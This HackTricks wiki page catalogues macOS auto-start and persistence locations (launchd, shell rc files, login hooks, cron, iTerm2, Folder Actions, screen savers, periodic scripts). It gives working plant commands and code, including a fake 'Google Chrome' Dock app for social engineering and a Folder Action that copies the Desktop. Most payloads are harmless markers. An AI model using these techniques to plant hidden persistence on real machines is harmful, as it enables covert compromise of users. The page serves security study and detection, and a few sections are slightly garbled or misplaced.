hacktricks/macos-hardening/macos-auto-start-locations.md

53 KiB
Raw Blame History

macOS Auto Start

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

This section is heavily based on the blog series Beyond the good ol' LaunchAgents, the goal is to add more Autostart Locations (if possible), indicate which techniques are still working nowadays with latest version of macOS (13.4) and to specify the permissions needed.

Sandbox Bypass

{% hint style="success" %} Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file and waiting for a very common action, a determined amount of time or an action you can usually perform from inside a snadbox without needing root permissions. {% endhint %}

Launchd

  • Useful to bypass sandbox:

Locations

  • /Library/LaunchAgents
    • Trigger: Reboot
    • Root required
  • /Library/LaunchDaemons
    • Trigger: Reboot
    • Root required
  • /System/Library/LaunchAgents
    • Trigger: Reboot
    • Root required
  • /System/Library/LaunchDaemons
    • Trigger: Reboot
    • Root required
  • ~/Library/LaunchAgents
    • Trigger: Relog-in
  • ~/Library/LaunchDemons
    • Trigger: Relog-in

Description & Exploitation

launchd is the first process executed by OX S kernel at startup and the last one to finish at shut down. It should always have the PID 1. This process will read and execute the configurations indicated in the ASEP plists in:

  • /Library/LaunchAgents: Per-user agents installed by the admin
  • /Library/LaunchDaemons: System-wide daemons installed by the admin
  • /System/Library/LaunchAgents: Per-user agents provided by Apple.
  • /System/Library/LaunchDaemons: System-wide daemons provided by Apple.

When a user logs in the plists located in /Users/$USER/Library/LaunchAgents and /Users/$USER/Library/LaunchDemons are started with the logged users permissions.

The main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
    <key>Label</key>
        <string>com.apple.someidentifier</string>
    <key>ProgramArguments</key>
    <array>
        <string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
    </array>
    <key>RunAtLoad</key><true/> <!--Execute at system startup-->
    <key>StartInterval</key>
    <integer>800</integer> <!--Execute each 800s-->
    <key>KeepAlive</key>
    <dict>
        <key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
        <!--If previous is true, then re-execute in successful exit-->
    </dict>
</dict>
</plist>

There are cases where an agent needs to be executed before the user logins, these are called PreLoginAgents. For example, this is useful to provide assistive technology at login. They can be found also in /Library/LaunchAgents(see here an example).

{% hint style="info" %} New Daemons or Agents config files will be loaded after next reboot or using launchctl load <target.plist> It's also possible to load .plist files without that extension with launchctl -F <file> (however those plist files won't be automatically loaded after reboot).
It's also possible to unload with launchctl unload <target.plist> (the process pointed by it will be terminated),

To ensure that there isn't anything (like an override) preventing an Agent or Daemon from running run: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist {% endhint %}

List all the agents and daemons loaded by the current user:

launchctl list

shell startup files

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Useful to bypass sandbox:

Locations

  • ~/.zshrc, ~/.zlogin, ~/.zshenv, ~/.zprofile
    • Trigger: Open a terminal with zsh
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
    • Trigger: Open a terminal with zsh
    • Root required
  • ~/.zlogout
    • Trigger: Exit a terminal with zsh
  • /etc/zlogout
    • Trigger: Exit a terminal with zsh
    • Root required
  • Potentially more in: man zsh
  • ~/.bashrc
    • Trigger: Open a terminal with bash
  • /etc/profile (didn't work)
  • ~/.profile (didn't work)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
    • Trigger: Expected to trigger with xterm, but it isn't installed and even after installed this error is thrown: xterm: DISPLAY is not set

Description & Exploitation

Shell startup files are executed when our shell environment like zsh or bash is starting up. macOS defaults to /bin/zsh these days, and whenever we open Terminal or SSH into the device, this is the shell environment we are placed into. bash and sh are still available, however they have to be specifically started.

The man page of zsh, which we can read with man zsh has a long description of the startup files.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Re-opened Applications

{% hint style="danger" %} Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • Useful to bypass sandbox:

Location

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
    • Trigger: Restart reopening applications

Description & Exploitation

All the applications to reopen are inside the plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

So, make the reopen applications launch your own one, you just need to add your app to the list.

The UUID can be found listing that directory or with ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

To check the applications that will be reopened you can do:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

To add an application to this list you can use:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
    -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
    -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
    -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
    -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
    ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal

In ~/Library/Preferences are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to execute other applications/scripts.

For example, the Terminal can execute a command in the Startup:

This config is reflected in the file ~/Library/Preferences/com.apple.Terminal.plist like this:

[...]
"Window Settings" => {
    "Basic" => {
      "CommandString" => "touch /tmp/terminal_pwn"
      "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
      "FontAntialias" => 1
      "FontWidthSpacing" => 1.004032258064516
      "name" => "Basic"
      "ProfileCurrentVersion" => 2.07
      "RunCommandAsShell" => 0
      "type" => "Window Settings"
    }
[...]

So, if the plist of the preferences of the terminal in the system could be overwritten, the the open functionality can be used to open the terminal and that command will be executed.

You can add this from the cli with:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

{% endcode %}

Audio Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

Location

  • /Library/Audio/Plug-Ins/HAL
    • Root required
    • Trigger: Restart coreaudiod or the computer
  • /Library/Audio/Plug-ins/Components
    • Root required
    • Trigger: Restart coreaudiod or the computer
  • ~/Library/Audio/Plug-ins/Components
    • Trigger: Restart coreaudiod or the computer
  • /System/Library/Components
    • Root required
    • Trigger: Restart coreaudiod or the computer

Description

According to the previous writeups it's possible to compile some audio plugins and get them loaded.

QuickLook Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • Useful to bypass sandbox:

Location

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Description & Exploitation

QuickLook plugins can be executed when you trigger the preview of a file (press space bar with the file selected in Finder) and a plugin supporting that file type is installed.

It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it.

Login/Logout Hooks

{% hint style="danger" %} This didn't work for me, neither with the user LoginHook nor with the root LogoutHook {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

Useful to bypass sandbox:

Location

  • You need to be able to execute something like defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
    • Located in ~/Library/Preferences/com.apple.loginwindow.plist

They are deprecated but can be used to execute commands when a user logs in.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

This setting is stored in /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
    LoginHook = "/Users/username/hook.sh";
    LogoutHook = "/Users/username/hook.sh";
    MiniBuddyLaunch = 0;
    TALLogoutReason = "Shut Down";
    TALLogoutSavesState = 0;
    oneTimeSSMigrationComplete = 1;
}

To delete it:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Conditional Sandbox Bypass

{% hint style="success" %} Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file and expecting not super common conditions like specific programs installed, "uncommon" user actions or environments. {% endhint %}

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Useful to bypass sandbox:
    • However, you need to be able to execute crontab binary
    • Or be root

Location

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
    • Root required for direct write access. No root required if you can execute crontab <file>
    • Trigger: Depends on the cron job

Description & Exploitation

List the cron jobs of the current user with:

crontab -l

You can also see all the cron jobs of the users in /usr/lib/cron/tabs/ and /var/at/tabs/ (needs root).

In MacOS several folders executing scripts with certain frequency can be found in:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

There you can find the regular cron jobs, the at jobs (not very used) and the periodic jobs (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: periodic daily.

To add a user cronjob programatically it's possible to use:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • Useful to bypass sandbox:

Locations

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
    • Trigger: Open iTerm
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
    • Trigger: Open iTerm
  • ~/Library/Preferences/com.googlecode.iterm2.plist
    • Trigger: Open iTerm

Description & Exploitation

Scripts stored in ~/Library/Application Support/iTerm2/Scripts/AutoLaunch will be executed. For example:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

The script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt will also be executed:

do shell script "touch /tmp/iterm2-autolaunchscpt"

The iTerm2 preferences located in ~/Library/Preferences/com.googlecode.iterm2.plist can indicate a command to execute when the iTerm2 terminal is opened.

This setting can be configured in the iTerm2 settings:

And the command is reflected in the preferences:

plutil -p com.googlecode.iterm2.plist
{
  [...]
  "New Bookmarks" => [
    0 => {
      [...]
      "Initial Text" => "touch /tmp/iterm-start-command"

You can set the command to execute with:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

{% endcode %}

{% hint style="warning" %} Highly probable there are other ways to abuse the iTerm2 preferences to execute arbitrary commands. {% endhint %}

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • Useful to bypass sandbox:
    • But xbar must be installed

Location

  • ~/Library/Application\ Support/xbar/plugins/
    • Trigger: Once xbar is executed

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

Useful to bypass sandbox:

  • But Hammerspoon must be installed

Location

  • ~/.hammerspoon/init.lua
    • Trigger: Once hammerspoon is executed

Description

Hammerspoon is an automation tool, that allows macOS scripting through LUA scripting language. We can even embed full AppleScript code as well as run shell scripts.

The app looks for a single file, ~/.hammerspoon/init.lua, and when started the script will be executed.

cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("id > /tmp/hs.txt")
EOF

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Useful to bypass sandbox:
    • But ssh needs to be enabled and used

Location

  • ~/.ssh/rc
    • Trigger: Login via ssh
  • /etc/ssh/sshrc
    • Root required
    • Trigger: Login via ssh

Description & Exploitation

By default, unless PermitUserRC no in /etc/ssh/sshd_config, when a user logins via SSH the scripts /etc/ssh/sshrc and ~/.ssh/rc will be executed.

Description

If the popular program xbar is installed, it's possible to write a shell script in ~/Library/Application\ Support/xbar/plugins/ which will be executed when xbar is started:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Login Items

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Useful to bypass sandbox:
    • But you need to execute osascript with args

Locations

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
    • Trigger: Login
    • Exploit payload stored calling osascript
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
    • Trigger: Login
    • Root required

Description

In System Preferences -> Users & Groups -> Login Items you can find items to be executed when the user logs in.
It it's possible to list them, add and remove from the command line:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}' 

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"' 

These items are stored in the file ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Login items can also be indicated in using the API SMLoginItemSetEnabled which will store the configuration in /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP as Login Item

(Check previos section about Login Items, this is an extension)

If you store a ZIP file as a Login Item the Archive Utility will open it and if the zip was for example stored in ~/Library and contained the Folder LaunchAgents/file.plist with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the backdoor indicated in the plist will be executed.

Another options would be to create the files .bash_profile and .zshenv inside the user HOME so if the folder LaunchAgents already exist this technique would still work.

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

Location

  • Need to execute at and it must be enabled

Description

“At tasks” are used to schedule tasks at specific times.
These tasks differ from cron in that they are one time tasks that get removed after executing. However, they will survive a system restart so they cant be ruled out as a potential threat.

By default they are disabled but the root user can enable them with:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

This will create a file in 1 hour:

echo "echo 11 > /tmp/at.txt" | at now+1

Check the job queue using atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Above we can see two jobs scheduled. We can print the details of the job using at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
	 echo 'Execution directory inaccessible' >&2
	 exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

{% hint style="warning" %} If AT tasks aren't enabled the created tasks won't be executed. {% endhint %}

The job files can be found at /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

The filename contains the queue, the job number, and the time its scheduled to run. For example lets take a loot at a0001a019bdcd2.

  • a - this is the queue
  • 0001a - job number in hex, 0x1a = 26
  • 019bdcd2 - time in hex. It represents the minutes passed since epoch. 0x019bdcd2 is 26991826 in decimal. If we multiply it by 60 we get 1619509560, which is GMT: 2021. April 27., Tuesday 7:46:00.

If we print the job file, we find that it contains the same information we got using at -c.

Folder Actions

Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • Useful to bypass sandbox:
    • But you need to be able to call osascript with arguments and be able to configure Folder Actions

Location

  • /Library/Scripts/Folder Action Scripts
    • Root required
    • Trigger: Access to the specified folder
  • ~/Library/Scripts/Folder Action Scripts
    • Trigger: Access to the specified folder

Description & Exploitation

A Folder Action script is executed when the folder to which it is attached has items added or removed, or when its window is opened, closed, moved, or resized:

  • Open the folder via the Finder UI
  • Add a file to the folder (can be done via drag/drop or even in a shell prompt from a terminal)
  • Remove a file from the folder (can be done via drag/drop or even in a shell prompt from a terminal)
  • Navigate out of the folder via the UI

There are a couple ways to implement this:

  1. Use the Automator program to create a Folder Action workflow file (.workflow) and install it as a service.
  2. Right-click on a folder, select Folder Actions Setup..., Run Service, and manually attach a script.
  3. Use OSAScript to send Apple Event messages to the System Events.app to programmatically query and register a new Folder Action.
  • This is the way to implement persistence using an OSAScript to send Apple Event messages to System Events.app

This is the script that will be executed:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

Compile it with: osacompile -l JavaScript -o folder.scpt source.js

Then execute the following script to enable Folder Actions and attach the previously compiled script with the folder /users/username/Desktop:

var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

Execute script with: osascript -l JavaScript /Users/username/attach.scpt

  • This is the way yo implement this persistence via GUI:

This is the script that will be executed:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

Compile it with: osacompile -l JavaScript -o folder.scpt source.js

Move it to:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Then, open the Folder Actions Setup app, select the folder you would like to watch and select in your case folder.scpt (in my case I called it output2.scp):

Now, if you open that folder with Finder, your script will be executed.

This configuration was stored in the plist located in ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist in base64 format.

Now, lets try to prepare this persistence without GUI access:

  1. Copy ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist to /tmp to backup it:
    • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  2. Remove the Folder Actions you just set:

Now that we have an empty environment

  1. Copy the backup file: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
  2. Open the Folder Actions Setup.app to consume this config: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

{% hint style="danger" %} And this didn't work for me, but those are the instructions from the writeup:( {% endhint %}

Spotlight Importers

Writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • Useful to bypass sandbox: 🟠
    • But you will end in a new one

Location

  • /Library/Spotlight
  • ~/Library/Spotlight

Description

You will end up in a heavy sandbox, so you probably don't want to use this technique.

Dock shortcuts

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • Useful to bypass sandbox:
    • But you need to have installed a malicious application inside the system

Location

  • ~/Library/Preferences/com.apple.dock.plist
    • Trigger: When the user clicks on the app inside the dock

Description & Exploitation

All the applications that appear in the Dock are specified inside the plist: ~/Library/Preferences/com.apple.dock.plist

It's possible to add an application just with:

{% code overflow="wrap" %}

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

{% endcode %}

Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleExecutable</key>
    <string>Google Chrome</string>
    <key>CFBundleIdentifier</key>
    <string>com.google.Chrome</string>
    <key>CFBundleName</key>
    <string>Google Chrome</string>
    <key>CFBundleVersion</key>
    <string>1.0</string>
    <key>CFBundleShortVersionString</key>
    <string>1.0</string>
    <key>CFBundleInfoDictionaryVersion</key>
    <string>6.0</string>
    <key>CFBundlePackageType</key>
    <string>APPL</string>
    <key>CFBundleIconFile</key>
    <string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Color Pickers

Writeup: https://theevilbit.github.io/beyond/beyond_0017

  • Useful to bypass sandbox: 🟠
    • A very specific action needs to happen
    • You will end in another sandbox

Location

  • /Library/ColorPickers
    • Root required
    • Trigger: Use the color picker
  • ~/Library/ColorPickers
    • Trigger: Use the color picker

Description & Exploit

Compile a color picker bundle with your code (you could use this one for example) and add a constructor (like in the Screen Saver section) and copy the bundle to ~/Library/ColorPickers.

Then, when the color picker is triggered your should should be aswell.

Note that the binary loading your library has a very restrictive sandbox: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

{% code overflow="wrap" %}

[Key] com.apple.security.temporary-exception.sbpl
	[Value]
		[Array]
			[String] (deny file-write* (home-subpath "/Library/Colors"))
			[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
			[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

{% endcode %}

Finder Sync Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html

  • Useful to bypass sandbox: No, because you need to execute your own app

Location

  • A specific app

Description & Exploit

An application example with a Finder Sync Extension can be found here.

Applications can have Finder Sync Extensions. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it must be signed with some valid Apple developer certificate, it must be sandboxed (although relaxed exceptions could be added) and it must be registered with something like:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Screen Saver

Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • Useful to bypass sandbox: 🟠
    • But you will end in a common application sandbox

Location

  • /System/Library/Screen Savers
    • Root required
    • Trigger: Select the screen saver
  • /Library/Screen Savers
    • Root required
    • Trigger: Select the screen saver
  • ~/Library/Screen Savers
    • Trigger: Select the screen saver

Description & Exploit

Create a new project in Xcode and select the template to generate a new Screen Saver. Then, are your code to it, for example the following code to generate logs.

Build it, and copy the .saver bundle to ~/Library/Screen Savers. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs:

{% code overflow="wrap" %}

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

{% endcode %}

{% hint style="danger" %} Note that because inside the entitlements of the binary that loads this code (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) you can find com.apple.security.app-sandbox you will be inside the common application sandbox. {% endhint %}

Saver code:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
    self = [super initWithFrame:frame isPreview:isPreview];
    if (self) {
        [self setAnimationTimeInterval:1/30.0];
    }
    return self;
}

- (void)startAnimation
{
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
    [super startAnimation];
}

- (void)stopAnimation
{
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
    [super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
    [super drawRect:rect];
}

- (void)animateOneFrame
{
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
    return;
}

- (BOOL)hasConfigureSheet
{
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
    return NO;
}

- (NSWindow*)configureSheet
{
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
    return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
    NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Preference Pane

{% hint style="danger" %} It doesn't look like this is working anymore. {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0009/

  • Useful to bypass sandbox: 🟠
    • It needs a specific user action

Location

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

Description

It doesn't look like this is working anymore.

Root Sandbox Bypass

{% hint style="success" %} Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file being root and/or requiring other weird conditions. {% endhint %}

Periodic

Writeup: https://theevilbit.github.io/beyond/beyond_0019/

  • Useful to bypass sandbox: 🟠
    • But you need to be root

Location

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
    • Root required
    • Trigger: When the time comes
  • /etc/daily.local, /etc/weekly.local or /etc/monthly.local
    • Root required
    • Trigger: When the time comes

Description & Exploitation

The periodic scripts (/etc/periodic) are executed because of the launch daemons configured in /System/Library/LaunchDaemons/com.apple.periodic*. Note that scripts stored in /etc/periodic/ are executed as the owner of the file, so this won't work for a potential privilege escalation.

{% code overflow="wrap" %}

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
